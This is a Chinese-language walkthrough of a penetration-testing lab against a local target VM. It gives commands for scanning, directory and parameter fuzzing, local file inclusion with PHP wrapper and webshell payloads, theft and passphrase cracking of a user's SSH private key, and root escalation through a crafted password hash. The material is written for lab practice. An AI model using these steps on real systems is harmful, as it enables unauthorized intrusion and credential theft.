环境搭建
1 2
| 渗透机:192.168.50.216 靶机:192.168.50.51
|
端口探针
服务探针
1
| nmap -p22,80 -sV 192.168.50.51
|
1 2
| ssh与http ssh爆破 没有爆破出来 http 是一个apache的首页页面
|
目录爆破(gobuster)
使用了新的一个工具gobuster
主要是利用了kali自带的一个字典(接下来会说这个字典的强大)
1
| gobuster dir -u http://192.168.50.51 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
|
1 2 3 4
| 依次跳转 robots.txt 只有 Hello H4x0r 访问/secret/ 发现也没有什么回显 继续跟随着目录继续爆
|
1
| gobuster dir -u http://192.168.50.51/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
|
/usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt
(kali自带) 我曾使用dirb,dirsearch默认字典没有跑出evil.php
1 2
| 在evil.php 返回还是空白页面 php作为服务器语言 可以尝试参数爆破
|
参数爆破
可以bp联合爆破
亦可以使用ffuf
1 2
| 字典选择: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
|
1 2
| ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w val.txt:VAL -u http://192.168.50.51/secret/evil.php?PARAM=VAL -fs 0 一开始 val.txt 是自己添加的一些字符
|
文件包含
-fs 0 //屏蔽结果为0的结果
之所以选择../index.html 是因为我们已知原本首页是apache起始页面
且当前运行的位置在/secret/目录
1 2
| 发现 上面未果 尝试文件包含 ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.50.51/secret/evil.php?FUZZ=../index.html -fs 0
|
本地文件包含
远程文件包含
1 2
| 在渗透机上写webshell 然后使用文件包含点去包含渗透机
|
并没有执行webshell,想来靶机没有开启远程包含(就当一个思路点记录下来了)
PHP封装器
1 2
| 使用PHP伪协议 php://filter/convert.base64-encode/resource=evil.php
|
1 2 3 4
| 可以尝试本地写入webshell php://input POST部分去执行php命令 或者data伪协议去写入webshell data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
|
都失败了,想来没有写入的权限
SSH公钥登录
1 2
| 根据/etc/passwd文件 我们可知mowree我们是可以登陆的 我们可以尝试的ssh爆破 或者进行其他操作
|
1 2
| ssh mowree@192.168.50.51 -v -v 打印详细信息
|
1 2 3 4 5
| 我们可以根据文件包含去尝试获取公私钥 ssh公私钥 默认在用户家目录/.ssh/下 故: ../../../../../../home/mowree/.ssh/authorized_keys 远程服务器登陆的公钥 ../../../../../../home/mowree/.ssh/id_rsa
|
有此文件 说明存在ssh公钥登陆 且说明加密算法为rsa
小插曲
1
| 同样是复制id_rsa然后尝试登陆 使用root与普通用户爆出来的错误不一样
|
一开始想着以为是root用户和普通用户导致的问题
报错是ssh“权限太开放” 想来还是chmod 777 给的权限太高了
Enter passphrase for key ‘id_rsa’
发现私钥中仍然有 passphrase
john爆破passphrase
1 2 3
| ssh2john id_rsa > hash john hash --wordlist=/usr/share/wordlists/rockyou.txt 是 /usr/share/wordlists/rockyou.txt 是 kali自带超大字典
|
提权
1 2 3
| find / -perm -4000 2>/dev/null 寻找特殊权限位 find / -perm -2000 2>/dev/null
|
1 2 3 4
| find / writeable 2>/dev/null 寻找可写文件 数量很多 小tips: /proc/ 、/run/ 、 /sys/ 可以过滤掉
|
1 2
| 密文可以使用 openssl 生成 openssl passwd -1 123
|
1 2
| su root 使用密码123即可成功提权且获得了第二个flag
|